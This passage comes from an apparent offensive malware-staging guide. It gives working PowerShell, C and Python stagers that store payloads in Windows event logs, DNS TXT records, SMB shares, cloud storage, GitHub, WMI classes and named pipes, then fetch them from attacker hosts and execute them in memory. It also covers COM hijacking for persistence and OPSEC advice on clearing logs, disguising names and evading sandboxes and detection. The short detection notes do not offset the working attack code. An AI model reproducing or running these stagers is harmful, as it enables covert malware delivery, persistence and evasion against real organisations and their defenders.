What it means: Payload bytes are encoded and written into the Windows Event Log as custom event entries. The stager queries the event log, reads the custom events, reassembles the payload, and executes it. Highly creative and rarely monitored for payload storage. Technique popularized by threat actors and documented in the wild.
8.1 Writing Payload to Event Log
# Write Base64-encoded payload chunks into the Windows event log
# Uses Write-EventLog to create custom entries in Application log
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("stage1.enc"))
$chunkSize = 4096 # Max event message size varies; keep chunks small
# Register a source (needed for Write-EventLog)
if (-not [System.Diagnostics.EventLog]::SourceExists("MicrosoftUpdate")) {
New-EventLog -LogName Application -Source "MicrosoftUpdate"
}
# Write payload in chunks
$chunks = [System.Collections.ArrayList]@()
for ($i = 0; $i -lt $b64.Length; $i += $chunkSize) {
$chunk = $b64.Substring($i, [Math]::Min($chunkSize, $b64.Length - $i))
$chunks.Add($chunk) | Out-Null
}
$totalChunks = $chunks.Count
for ($i = 0; $i -lt $totalChunks; $i++) {
Write-EventLog -LogName Application `
-Source "MicrosoftUpdate" `
-EventId 1000 `
-EntryType Information `
-Message "Update metadata [$i/$totalChunks]: $($chunks[$i])"
}
Write-Host "[+] Payload written to event log in $totalChunks chunks"
8.2 Reading Payload from Event Log (C Stager)
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
// Read payload from Application event log (custom source)
// Each event entry = one chunk of Base64 payload
LPBYTE ReadStageFromEventLog(const wchar_t* source, DWORD eventId,
SIZE_T* outSize) {
HANDLE hEventLog = OpenEventLogW(NULL, L"Application");
if (!hEventLog) {
printf("[-] OpenEventLog failed: %lu\n", GetLastError());
return NULL;
}
// Read all event records
DWORD bufSize = 0x10000;
LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, bufSize);
DWORD bytesRead, bytesNeeded;
char* assembledB64 = NULL;
SIZE_T assembledLen = 0;
// Read records from newest to oldest (EVENTLOG_BACKWARDS_READ)
while (ReadEventLogW(hEventLog,
EVENTLOG_SEQUENTIAL_READ | EVENTLOG_BACKWARDS_READ,
0, pBuf, bufSize, &bytesRead, &bytesNeeded)) {
PBYTE p = pBuf;
while (p < pBuf + bytesRead) {
PEVENTLOGRECORD pRec = (PEVENTLOGRECORD)p;
// Check source name and event ID
wchar_t* pSource = (wchar_t*)(p + sizeof(EVENTLOGRECORD));
if (pRec->EventID == eventId &&
_wcsicmp(pSource, source) == 0) {
// Message string starts after source + computername
wchar_t* pMsg = pSource;
while (*pMsg) pMsg++; pMsg++; // Skip source
while (*pMsg) pMsg++; pMsg++; // Skip computer name
// Extract the Base64 chunk from message
// Message format: "Update metadata [N/M]: <b64chunk>"
wchar_t* colonPos = wcsstr(pMsg, L"]: ");
if (colonPos) {
colonPos += 3; // Skip "]: "
int len = WideCharToMultiByte(CP_ACP, 0, colonPos, -1,
NULL, 0, NULL, NULL);
char* narrow = (char*)HeapAlloc(GetProcessHeap(), 0, len);
WideCharToMultiByte(CP_ACP, 0, colonPos, -1,
narrow, len, NULL, NULL);
// Append to assembled b64
assembledB64 = (char*)HeapReAlloc(GetProcessHeap(), 0,
assembledB64, assembledLen + len);
memcpy(assembledB64 + assembledLen, narrow, len - 1);
assembledLen += len - 1;
HeapFree(GetProcessHeap(), 0, narrow);
}
}
p += pRec->Length;
}
}
CloseEventLog(hEventLog);
HeapFree(GetProcessHeap(), 0, pBuf);
if (!assembledB64) return NULL;
// Base64 decode assembled chunks
DWORD decodedSize = 0;
CryptStringToBinaryA(assembledB64, (DWORD)assembledLen,
CRYPT_STRING_BASE64, NULL, &decodedSize, NULL, NULL);
LPBYTE pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
CryptStringToBinaryA(assembledB64, (DWORD)assembledLen,
CRYPT_STRING_BASE64, pDecoded, &decodedSize,
NULL, NULL);
HeapFree(GetProcessHeap(), 0, assembledB64);
*outSize = decodedSize;
printf("[+] Stage reassembled from event log: %lu bytes\n", decodedSize);
return pDecoded;
}
[OPSEC] Event log entries persist until the log is full and wraps around. Clean up after yourself using Clear-EventLog -LogName Application or selectively delete entries (harder). The source name MicrosoftUpdate blends well but analysts may recognize the pattern.
[DETECT] Sysmon EventID 1 (ProcessCreate) showing wevtutil or Write-EventLog usage and Security EventID 4663 (Object Access) can surface event log writes. The main detection is behavioral — legitimate apps don't write large chunks of Base64 to the Application log.
9. DNS TXT Record Staging
What it means: The payload (or a portion of it) is stored in a DNS TXT record on an attacker-controlled domain. The stager resolves the DNS TXT record to retrieve payload chunks. DNS queries often bypass web filtering proxies and firewalls, and DNS traffic to a legitimate-looking domain is low-suspicion.
9.1 Setting Up DNS TXT Record
# On your domain registrar / DNS provider:
# Add TXT record to your domain
# Name: stage.yourdomain.com
# Type: TXT
# Value: <base64-encoded chunk>
# DNS TXT records are limited to 255 bytes per string,
# but multiple strings can be chained in one record (up to ~4KB total)
# Split large payloads across multiple subdomains
# Example using bind9 zone file:
# stage1.c2.yourdomain.com TXT "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA..."
# stage2.c2.yourdomain.com TXT "AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
# stage3.c2.yourdomain.com TXT "..."
# Verify from attacker machine:
dig TXT stage1.c2.yourdomain.com +short
nslookup -type=TXT stage1.c2.yourdomain.com
9.2 DNS TXT Stager (PowerShell)
# Resolve DNS TXT records and reassemble payload
$domain = "c2.yourdomain.com"
$chunks = 5 # Number of stage subdomain chunks
$xorKey = 0x4B
$assembled = [System.Text.StringBuilder]::new()
for ($i = 1; $i -le $chunks; $i++) {
$subdomain = "stage$i.$domain"
try {
$result = Resolve-DnsName -Name $subdomain -Type TXT -ErrorAction Stop
$txtData = ($result | Where-Object { $_.Type -eq "TXT" }).Strings -join ""
$assembled.Append($txtData) | Out-Null
Write-Host "[+] Fetched chunk $i from $subdomain"
} catch {
Write-Host "[-] Failed to resolve $subdomain : $_"
}
}
# Decode and decrypt
$enc = [Convert]::FromBase64String($assembled.ToString())
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $xorKey })
# Execute in memory (P/Invoke pattern from §3.3)
9.3 DNS TXT Stager (C — DnsQuery)
#include <windows.h>
#include <windns.h>
#include <wincrypt.h>
#include <stdio.h>
// Link: -ldnsapi
#define DNS_DOMAIN "c2.yourdomain.com"
#define CHUNK_COUNT 5
LPBYTE FetchStageViaDNS(SIZE_T* outSize) {
char assembled[0x100000] = {0}; // 1MB buffer for assembled b64
SIZE_T assembledLen = 0;
for (int chunk = 1; chunk <= CHUNK_COUNT; chunk++) {
char hostname[256];
snprintf(hostname, sizeof(hostname), "stage%d.%s", chunk, DNS_DOMAIN);
PDNS_RECORD pDnsRecord = NULL;
DNS_STATUS status = DnsQuery_A(hostname, DNS_TYPE_TEXT,
DNS_QUERY_BYPASS_CACHE,
NULL, &pDnsRecord, NULL);
if (status != ERROR_SUCCESS) {
printf("[-] DnsQuery failed for %s: %ld\n", hostname, status);
continue;
}
// Walk DNS records to find TXT records
PDNS_RECORD pRec = pDnsRecord;
while (pRec) {
if (pRec->wType == DNS_TYPE_TEXT) {
for (DWORD i = 0; i < pRec->Data.TXT.dwStringCount; i++) {
const char* str = pRec->Data.TXT.pStringArray[i];
size_t slen = strlen(str);
memcpy(assembled + assembledLen, str, slen);
assembledLen += slen;
printf("[+] Chunk %d: %zu bytes from %s\n",
chunk, slen, hostname);
}
}
pRec = pRec->pNext;
}
DnsFree(pDnsRecord, DnsFreeRecordList);
}
if (assembledLen == 0) return NULL;
// Base64 decode
DWORD decodedSize = 0;
CryptStringToBinaryA(assembled, (DWORD)assembledLen, CRYPT_STRING_BASE64,
NULL, &decodedSize, NULL, NULL);
LPBYTE pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
CryptStringToBinaryA(assembled, (DWORD)assembledLen, CRYPT_STRING_BASE64,
pDecoded, &decodedSize, NULL, NULL);
*outSize = decodedSize;
return pDecoded;
}
[OPSEC] DNS TXT queries for non-A/CNAME record types are unusual for a workstation and are logged by DNS security tools (Infoblox, Cisco Umbrella, Palo Alto DNS Security). Use a domain pre-registered and categorized as legitimate to reduce blocking.
[DETECT] Zeek dns.log and Windows DNS Debug log capture all DNS queries. High-frequency TXT record queries to a low-reputation domain is a strong indicator. Spread queries across time to reduce volume-based detection.
10. SMB / UNC Path Staging
What it means: Stage 1 payload is stored on an SMB share (attacker-controlled or compromised internal share). The stager fetches the payload via a UNC path (\\server\share\file). Particularly effective for lateral movement within corporate networks where SMB is unrestricted.
10.1 Setting Up an SMB Stage Server
# Linux: Impacket SMB server for staging
# Serves files from a local directory over SMB
python3 /opt/impacket/examples/smbserver.py -smb2support \
STAGES /opt/stages/
# Client accesses: \\<attacker_ip>\STAGES\beacon.enc
# With authentication (recommended to avoid open share detection):
python3 /opt/impacket/examples/smbserver.py -smb2support \
-username stageuser -password "StagePass123" \
STAGES /opt/stages/
:: Windows: share a directory for staging
net share STAGES=C:\Stages /grant:Everyone,READ
:: Or with specific user:
net share STAGES=C:\Stages /grant:DOMAIN\stageuser,READ
10.2 SMB UNC Path Stager (C)
#include <windows.h>
#include <stdio.h>
// Fetch stage from UNC path — uses standard file I/O (SMB transparent)
LPBYTE FetchStageFromSMB(const wchar_t* uncPath, SIZE_T* outSize) {
// Optional: add SMB credentials if share requires auth
NETRESOURCEW nr = {0};
nr.dwType = RESOURCETYPE_DISK;
nr.lpRemoteName = L"\\\\192.168.1.100\\STAGES";
// Connect with credentials
WNetAddConnection2W(&nr, L"StagePass123", L"stageuser", 0);
// Now read the file via UNC path (same as local file I/O)
HANDLE hFile = CreateFileW(uncPath,
GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] UNC open failed: %lu\n", GetLastError());
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize);
DWORD bytesRead;
ReadFile(hFile, pBuf, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
WNetCancelConnection2W(L"\\\\192.168.1.100\\STAGES", 0, TRUE);
*outSize = bytesRead;
printf("[+] Stage fetched from SMB: %lu bytes\n", bytesRead);
return pBuf;
}
// Usage:
// LPBYTE stage = FetchStageFromSMB(L"\\\\192.168.1.100\\STAGES\\beacon.enc", &sz);
10.3 PowerShell UNC Stager
# Fetch and execute stage from SMB share
$uncPath = "\\192.168.1.100\STAGES\beacon.enc"
$cred = New-Object System.Management.Automation.PSCredential(
"stageuser",
(ConvertTo-SecureString "StagePass123" -AsPlainText -Force))
# Map drive temporarily
New-PSDrive -Name S -PSProvider FileSystem -Root "\\192.168.1.100\STAGES" `
-Credential $cred -Temporary
$enc = [IO.File]::ReadAllBytes("S:\beacon.enc")
Remove-PSDrive S
$key = 0x4B
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })
# Execute via P/Invoke...
[OPSEC] SMB staging traffic is east-west (internal network) and often unmonitored by web proxies. However, SMB connections to unusual internal hosts are logged by NTA tools (Darktrace, ExtraHop) and EDR network telemetry.
11. Cloud Storage Staging (S3, Azure Blob, Pastebin)
What it means: Stage 1 is uploaded to a legitimate cloud storage service. The stager fetches it over HTTPS from the cloud provider. Network defenders rarely block AWS S3 or Azure Blob Storage outbound connections, and TLS inspection of these endpoints is often excluded for compliance reasons.
11.1 AWS S3 Staging
# Upload encrypted stage to S3 (attacker-controlled bucket)
aws s3 cp stage1.enc s3://my-legitimate-looking-bucket/assets/update.bin \
--profile attacker-profile \
--no-verify-ssl # For testing
# Set public read access (or use pre-signed URLs for gated access)
aws s3api put-object-acl \
--bucket my-legitimate-looking-bucket \
--key assets/update.bin \
--acl public-read
# Download URL:
# https://my-legitimate-looking-bucket.s3.amazonaws.com/assets/update.bin
# For time-limited access (pre-signed URL — expires after N seconds):
aws s3 presign s3://my-legitimate-looking-bucket/assets/update.bin \
--expires-in 3600
# S3 bucket naming OPSEC: use names that sound like software update CDNs
# Bad: attacker-payload-bucket
# Good: software-updates-cdn-prod, telemetry-data-collector-v2
11.2 Azure Blob Staging
# Azure Blob Storage
az storage blob upload \
--account-name mystorageaccount \
--container-name assets \
--name update.bin \
--file stage1.enc
# Get public URL:
# https://mystorageaccount.blob.core.windows.net/assets/update.bin
11.3 Pastebin / Similar Text Services
#!/usr/bin/env python3
# Upload Base64-encoded payload to Pastebin
# Stager fetches the paste URL and decodes
import requests
def upload_to_pastebin(b64_payload: str, api_key: str) -> str:
"""Upload Base64 payload to Pastebin, return paste URL."""
resp = requests.post("https://pastebin.com/api/api_post.php", data={
"api_dev_key": api_key,
"api_option": "paste",
"api_paste_code": b64_payload,
"api_paste_private": "1", # Private (unlisted)
"api_paste_expire_date": "1H" # Expire after 1 hour
})
paste_key = resp.text # Returns paste key like "AbCdEfGh"
return f"https://pastebin.com/raw/{paste_key}"
# Read and encode payload
with open("stage1.enc", "rb") as f:
payload = f.read()
import base64
b64 = base64.b64encode(payload).decode()
url = upload_to_pastebin(b64, api_key="YOUR_PASTEBIN_API_KEY")
print(f"[+] Stage URL: {url}")
11.4 Cloud Stager — C (WinINet fetch from S3)
// Fetch stage from S3 — identical to §3.2 HTTP stager
// Just point STAGE_HOST at s3.amazonaws.com and STAGE_PATH at /bucket/key
#define STAGE_HOST L"my-bucket.s3.amazonaws.com"
#define STAGE_PORT 443
#define STAGE_PATH L"/assets/update.bin"
// Call FetchStageHTTPS() from §3.2 — same code works for S3/Azure/Pastebin
// The domain legitimacy (amazonaws.com) is the key OPSEC win here
[OPSEC] Domain Generation: use legitimate cloud subdomains (bucket.s3.amazonaws.com, account.blob.core.windows.net). These are TLS-trusted, category-whitelisted, and rarely blocked. The content inside the HTTPS tunnel is invisible to most proxy/DLP products unless they do full SSL inspection with certificate pinning bypass.
[DETECT] Volume anomaly: An endpoint downloading a 200KB binary from S3 with no user interaction is anomalous. Pair cloud staging with sandbox evasion (check for GUI, check uptime, check for VMs) so the fetch only occurs in real environments.
12. GitHub / GitLab / Code Repo Staging
What it means: The Stage 1 payload is committed to a GitHub repository (public or private) as a binary or Base64 text file. The stager fetches it via the GitHub raw content URL. GitHub's CDN is extremely unlikely to be blocked and is always HTTPS.
12.1 GitHub Staging Setup
# Create a private GitHub repo for staging
# Upload encrypted payload as a "binary asset" or "config file"
git init stage-repo
cd stage-repo
cp /path/to/stage1.enc config.bin # Disguise name
git add config.bin
git commit -m "Update configuration"
git remote add origin https://github.com/youruser/legit-looking-repo.git
git push origin main
# Raw content URL format:
# https://raw.githubusercontent.com/user/repo/branch/filename
# https://raw.githubusercontent.com/youruser/legit-looking-repo/main/config.bin
# For private repos, use a Personal Access Token:
# https://TOKEN@raw.githubusercontent.com/user/repo/main/config.bin
12.2 GitHub Stager — PowerShell
# Fetch stage from GitHub raw URL
$token = "ghp_YourPersonalAccessTokenHere" # PAT for private repo
$rawUrl = "https://raw.githubusercontent.com/youruser/legit-repo/main/config.bin"
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("Authorization", "token $token")
$wc.Headers.Add("User-Agent", "git/2.39.0") # Look like git client
$enc = $wc.DownloadData($rawUrl)
$key = 0x4B
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })
# Execute via P/Invoke...
12.3 GitHub API for Gated Access
#!/usr/bin/env python3
# Fetch stage via GitHub API (slightly more legitimate-looking traffic)
import requests
import base64
OWNER = "youruser"
REPO = "legit-looking-repo"
PATH = "config.bin"
TOKEN = "ghp_YourPATHere"
url = f"https://api.github.com/repos/{OWNER}/{REPO}/contents/{PATH}"
headers = {
"Authorization": f"token {TOKEN}",
"Accept": "application/vnd.github.v3+json",
"User-Agent": "git/2.39.0.windows.1"
}
resp = requests.get(url, headers=headers)
data = resp.json()
# GitHub API returns file content as Base64
payload_b64 = data["content"]
payload_enc = base64.b64decode(payload_b64)
# XOR decrypt
key = 0x4B
payload_dec = bytes([b ^ key for b in payload_enc])
print(f"[+] Stage fetched: {len(payload_dec)} bytes")
# → Execute via subprocess injection or ctypes
[OPSEC] Burn the repo. Delete the repository immediately after the stager fetches the payload. PAT tokens should have minimal scope (repo:read only) and be rotated. Use a throwaway GitHub account registered on a VPN.
13. WMI Repository Staging
What it means: WMI (Windows Management Instrumentation) has a persistent repository (C:\Windows\System32\wbem\Repository\) that stores WMI class definitions. Attackers can create custom WMI classes with arbitrary string properties to store payload data. The payload lives in the WMI repository — no file on disk (from the attacker's perspective), no registry key.
13.1 Storing Payload in WMI (PowerShell)
# Store payload in a custom WMI class property
# Payload is stored in WMI repository (binary file at C:\...\Repository\)
# Read and encode payload
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("stage1.enc"))
# Create a custom WMI class to hold the payload
$namespace = "root\subscription" # Persistent namespace — survives reboots
# Build the class definition
$wmiClass = New-Object System.Management.ManagementClass(
$namespace, [String]::Empty, $null)
$wmiClass["__CLASS"] = "WindowsTelemetryCache" # Innocent-looking class name
$wmiClass.Qualifiers.Add("Static", $true)
$wmiClass.Properties.Add("CacheVersion", [System.Management.CimType]::String, $false)
$wmiClass.Properties.Add("CacheData", [System.Management.CimType]::String, $false)
$wmiClass.Properties["CacheVersion"].Qualifiers.Add("Key", $true)
$wmiClass.Put() | Out-Null
# Create an instance of the class and store payload
$instance = $wmiClass.CreateInstance()
$instance["CacheVersion"] = "1.0.0"
$instance["CacheData"] = $b64
$instance.Put() | Out-Null
Write-Host "[+] Payload stored in WMI repository"
Write-Host " Class: root\subscription:WindowsTelemetryCache"
Write-Host " Property: CacheData ($($b64.Length) chars)"
13.2 Reading Payload from WMI (PowerShell Stager)
# Retrieve payload from WMI repository
$query = "SELECT CacheData FROM WindowsTelemetryCache WHERE CacheVersion='1.0.0'"
$result = Get-WmiObject -Namespace "root\subscription" -Query $query
if ($result) {
$enc = [Convert]::FromBase64String($result.CacheData)
$key = 0x4B
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })
Write-Host "[+] Stage retrieved from WMI: $($dec.Length) bytes"
# Execute via P/Invoke...
}
13.3 Reading Payload from WMI (C Stager)
#include <windows.h>
#include <wbemidl.h>
#include <wincrypt.h>
#include <stdio.h>
// Link: -lwbemuuid -lole32 -loleaut32
LPBYTE ReadStageFromWMI(SIZE_T* outSize) {
HRESULT hr;
IWbemLocator* pLoc = NULL;
IWbemServices* pSvc = NULL;
IEnumWbemClassObject* pEnum = NULL;
LPBYTE pDecoded = NULL;
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_DEFAULT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
CoCreateInstance(&CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
&IID_IWbemLocator, (LPVOID*)&pLoc);
pLoc->lpVtbl->ConnectServer(pLoc,
L"root\\subscription", NULL, NULL, NULL,
0, NULL, NULL, &pSvc);
pSvc->lpVtbl->ExecQuery(pSvc,
L"WQL",
L"SELECT CacheData FROM WindowsTelemetryCache WHERE CacheVersion='1.0.0'",
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL, &pEnum);
IWbemClassObject* pObj = NULL;
ULONG returned = 0;
if (pEnum->lpVtbl->Next(pEnum, WBEM_INFINITE, 1, &pObj, &returned)
== S_OK && returned > 0) {
VARIANT vtProp;
pObj->lpVtbl->Get(pObj, L"CacheData", 0, &vtProp, NULL, NULL);
// vtProp.bstrVal contains the Base64 payload
// Convert BSTR to char* then decode
int len = WideCharToMultiByte(CP_ACP, 0, vtProp.bstrVal, -1,
NULL, 0, NULL, NULL);
LPSTR pB64 = (LPSTR)HeapAlloc(GetProcessHeap(), 0, len);
WideCharToMultiByte(CP_ACP, 0, vtProp.bstrVal, -1,
pB64, len, NULL, NULL);
DWORD decodedSize = 0;
CryptStringToBinaryA(pB64, 0, CRYPT_STRING_BASE64,
NULL, &decodedSize, NULL, NULL);
pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
CryptStringToBinaryA(pB64, 0, CRYPT_STRING_BASE64,
pDecoded, &decodedSize, NULL, NULL);
HeapFree(GetProcessHeap(), 0, pB64);
VariantClear(&vtProp);
pObj->lpVtbl->Release(pObj);
*outSize = decodedSize;
printf("[+] WMI stage retrieved: %lu bytes\n", decodedSize);
}
if (pEnum) pEnum->lpVtbl->Release(pEnum);
if (pSvc) pSvc->lpVtbl->Release(pSvc);
if (pLoc) pLoc->lpVtbl->Release(pLoc);
CoUninitialize();
return pDecoded;
}
[OPSEC] WMI repository is rarely inspected by AV. However, WMI persistence is a well-known APT technique and blue teams using tools like WMIMonitor or WMI-Persistence-Hunter will find custom classes. Use uncommon namespace (root\subscription) and class names that mimic real Windows internals.
[DETECT] Sysmon EventID 19/20/21 (WmiEventFilter, WmiEventConsumer, WmiEventConsumerToFilter) are logged for WMI subscriptions. Class creation in non-standard namespaces is also detectable via WMI Activity Operational event log (Microsoft-Windows-WMI-Activity/Operational EventID 5861).
14. COM Object / Registry-Backed Staging
What it means: COM (Component Object Model) objects are registered in the registry. Attackers can hijack COM registrations or create new ones that point to their payload loader. When a legitimate application instantiates the hijacked COM object, the payload executes — this doubles as a persistence mechanism.
14.1 COM Hijacking for Staging
COM Hijack Staging Flow:
══════════════════════════════════════════════════════
1. Identify a COM CLSID that a privileged app uses but doesn't validate
(use ProcMon to find HKCU CLSID lookups that fail → go to HKLM)
2. Create HKCU\Software\Classes\CLSID\{target-CLSID}\InProcServer32
Value: path to your stager DLL
3. When legitimate app activates the COM object, Windows checks HKCU first
→ Loads YOUR DLL instead of the real one
→ DLL's DllMain() fetches and executes Stage 1
# Example: Hijack CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E}
# (Windows Script Host Object Model — used by many apps)
$clsid = "{BCDE0395-E52F-467C-8E3D-C4579291692E}"
$dllPath = "C:\Users\$env:USERNAME\AppData\Roaming\loader.dll"
# Register in HKCU (no admin needed)
$regPath = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name "(Default)" -Value $dllPath
Set-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Both"
Write-Host "[+] COM hijack registered"
Write-Host " CLSID: $clsid"
Write-Host " DLL: $dllPath"
14.2 Finding COM Hijack Candidates
# Use Process Monitor to find missing HKCU COM registrations
# Or use automated tool:
# Automated COM hijack candidate finder
$missing = @()
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" | ForEach-Object {
$clsid = $_.PSChildName
$hkcuPath = "HKCU:\Software\Classes\CLSID\$clsid"
$hklmPath = "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InProcServer32"
if (-not (Test-Path $hkcuPath) -and (Test-Path $hklmPath)) {
$dllPath = (Get-ItemProperty $hklmPath -ErrorAction SilentlyContinue)."(Default)"
if ($dllPath -and -not (Test-Path $dllPath)) {
# DLL referenced in HKLM but file doesn't exist → hijack opportunity
$missing += [PSCustomObject]@{
CLSID = $clsid
DllPath = $dllPath
}
}
}
}
$missing | Format-Table -AutoSize
[DETECT] Sysmon EventID 12/13 (RegistryCreate/Set) for HKCU CLSID registrations is a strong signal. Hunting for COM hijacks: look for HKCU\Software\Classes\CLSID entries that shadow HKLM entries, where the DLL path is in a user-writable directory.
15. Named Pipe Staging
What it means: An attacker creates a named pipe server. The stager connects to the pipe and reads the Stage 1 payload from it. Used primarily for intra-host communication between processes, or over SMB (which tunnels named pipes) for lateral movement. Common in Cobalt Strike SMB beacons.
15.1 Named Pipe Stage Server (C — Pipe Server)
#include <windows.h>
#include <stdio.h>
// Stage server: listens on a named pipe, sends payload to stager that connects
#define PIPE_NAME L"\\\\.\\pipe\\WindowsUpdatePipe" // Blend-in pipe name
BOOL ServeStageThroughPipe(LPBYTE payload, SIZE_T payloadLen) {
HANDLE hPipe = CreateNamedPipeW(
PIPE_NAME,
PIPE_ACCESS_OUTBOUND, // Server sends, client reads
PIPE_TYPE_BYTE | PIPE_WAIT, // Byte stream, blocking
1, // Max instances
(DWORD)payloadLen, // Out buffer size
0, // In buffer size
5000, // Default timeout (5s)
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("[-] CreateNamedPipe failed: %lu\n", GetLastError());
return FALSE;
}
printf("[*] Waiting for stager to connect on %ls...\n", PIPE_NAME);
// Wait for stager to connect
if (!ConnectNamedPipe(hPipe, NULL)) {
if (GetLastError() != ERROR_PIPE_CONNECTED) {
printf("[-] ConnectNamedPipe failed: %lu\n", GetLastError());
CloseHandle(hPipe);
return FALSE;
}
}
printf("[+] Stager connected\n");
// Send payload size first (4 bytes)
DWORD written;
DWORD payloadSize = (DWORD)payloadLen;
WriteFile(hPipe, &payloadSize, sizeof(DWORD), &written, NULL);
// Send payload
WriteFile(hPipe, payload, payloadSize, &written, NULL);
printf("[+] Stage sent: %lu bytes\n", written);
FlushFileBuffers(hPipe);
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
return TRUE;
}
15.2 Named Pipe Stager (C — Client Side)
// Stager connects to pipe server, reads Stage 1, executes in memory
LPBYTE FetchStageFromPipe(const wchar_t* pipeName, SIZE_T* outSize) {
HANDLE hPipe = INVALID_HANDLE_VALUE;
// Wait for pipe to be available
while (1) {
hPipe = CreateFileW(pipeName,
GENERIC_READ,
0, NULL,
OPEN_EXISTING, 0, NULL);
if (hPipe != INVALID_HANDLE_VALUE) break;
if (GetLastError() != ERROR_PIPE_BUSY) {
printf("[-] Pipe open failed: %lu\n", GetLastError());
return NULL;
}
WaitNamedPipeW(pipeName, 5000); // Wait up to 5s for pipe
}
printf("[+] Connected to pipe\n");
// Read payload size
DWORD payloadSize = 0;
DWORD bytesRead;
ReadFile(hPipe, &payloadSize, sizeof(DWORD), &bytesRead, NULL);
printf("[+] Stage size: %lu bytes\n", payloadSize);
// Read payload
LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, payloadSize);
DWORD totalRead = 0;
while (totalRead < payloadSize) {
ReadFile(hPipe, pBuf + totalRead,
payloadSize - totalRead, &bytesRead, NULL);
totalRead += bytesRead;
}
CloseHandle(hPipe);
*outSize = totalRead;
printf("[+] Stage received: %lu bytes\n", totalRead);
return pBuf;
}
// SMB Named Pipe (remote): use \\server\pipe\pipename syntax
// LPBYTE s = FetchStageFromPipe(L"\\\\192.168.1.100\\pipe\\WindowsUpdatePipe", &sz);
[OPSEC] Named pipes over SMB (\\server\pipe\name) look like normal SMB traffic. This is how Cobalt Strike's SMB beacon works internally. The pipe name is configurable in the Malleable C2 profile — always customize it away from the default \\.\\pipe\\msagent_*.
16. In-Memory Staging (Reflective)
What it means: The most stealthy staging approach — the Stage 1 payload never touches disk or any persistent storage. The stager fetches it directly into memory, decrypts it, and reflectively loads it. The payload only exists in RAM for its lifetime.
16.1 Reflective DLL Loading Concept
Reflective DLL Injection Flow:
══════════════════════════════════════════════════════
Standard DLL loading:
LoadLibrary("C:\path\to.dll")
├─ Windows reads file from disk
├─ Maps into memory
├─ Runs DllMain
└─ DLL registered in PEB module list (visible to tools)
Reflective DLL loading:
FetchStageHTTPS() → pBuf (raw DLL bytes in memory)
ReflectiveLoader(pBuf) ← custom loader function IN the DLL itself
├─ Finds its own base address in pBuf
├─ Parses PE headers
├─ Maps sections
├─ Fixes relocations
├─ Resolves imports
├─ Runs DllMain
└─ NOT registered in PEB (invisible to module enumeration tools)
══════════════════════════════════════════════════════
16.2 Shellcode Stage Execution in Memory
#include <windows.h>
#include <stdio.h>
// Complete in-memory staged execution:
// 1. Fetch encrypted stage over HTTPS
// 2. Decrypt in memory
// 3. Execute via thread (shellcode) or reflective load (DLL)
typedef struct _STAGE_HEADER {
DWORD magic; // 0xDEADBEEF — validate it's our stage
DWORD payloadSize; // Actual shellcode/DLL size
BYTE checksum; // XOR checksum of payload
BYTE encKey; // XOR encryption key
BYTE reserved[2];
} STAGE_HEADER;
BOOL LoadAndRunStage(LPBYTE pEncStage, SIZE_T stageLen) {
// Parse header
STAGE_HEADER* hdr = (STAGE_HEADER*)pEncStage;
if (hdr->magic != 0xDEADBEEF) {
printf("[-] Invalid stage magic\n");
return FALSE;
}
LPBYTE pPayload = pEncStage + sizeof(STAGE_HEADER);
DWORD payloadSize = hdr->payloadSize;
BYTE key = hdr->encKey;
// Decrypt payload in-place
for (DWORD i = 0; i < payloadSize; i++)
pPayload[i] ^= key;
// Verify checksum
BYTE check = 0;
for (DWORD i = 0; i < payloadSize; i++) check ^= pPayload[i];
if (check != hdr->checksum) {
printf("[-] Checksum mismatch — stage may be corrupted or intercepted\n");
SecureZeroMemory(pPayload, payloadSize);
return FALSE;
}
printf("[+] Stage validated and decrypted: %lu bytes\n", payloadSize);
// Allocate executable memory (RW first)
LPVOID pExec = VirtualAlloc(NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(pExec, pPayload, payloadSize);
SecureZeroMemory(pPayload, payloadSize); // Wipe decrypted bytes immediately
// Flip to RX
DWORD old;
VirtualProtect(pExec, payloadSize, PAGE_EXECUTE_READ, &old);
// Launch in new thread
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)pExec,
NULL, 0, NULL);
if (!hThread) {
printf("[-] CreateThread failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Stage executing in thread\n");
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return TRUE;
}
16.3 Wipe-on-Execute Pattern
// After decryption and execution, wipe memory to frustrate memory forensics
// Do this before VirtualFree — forensic tools can recover freed memory
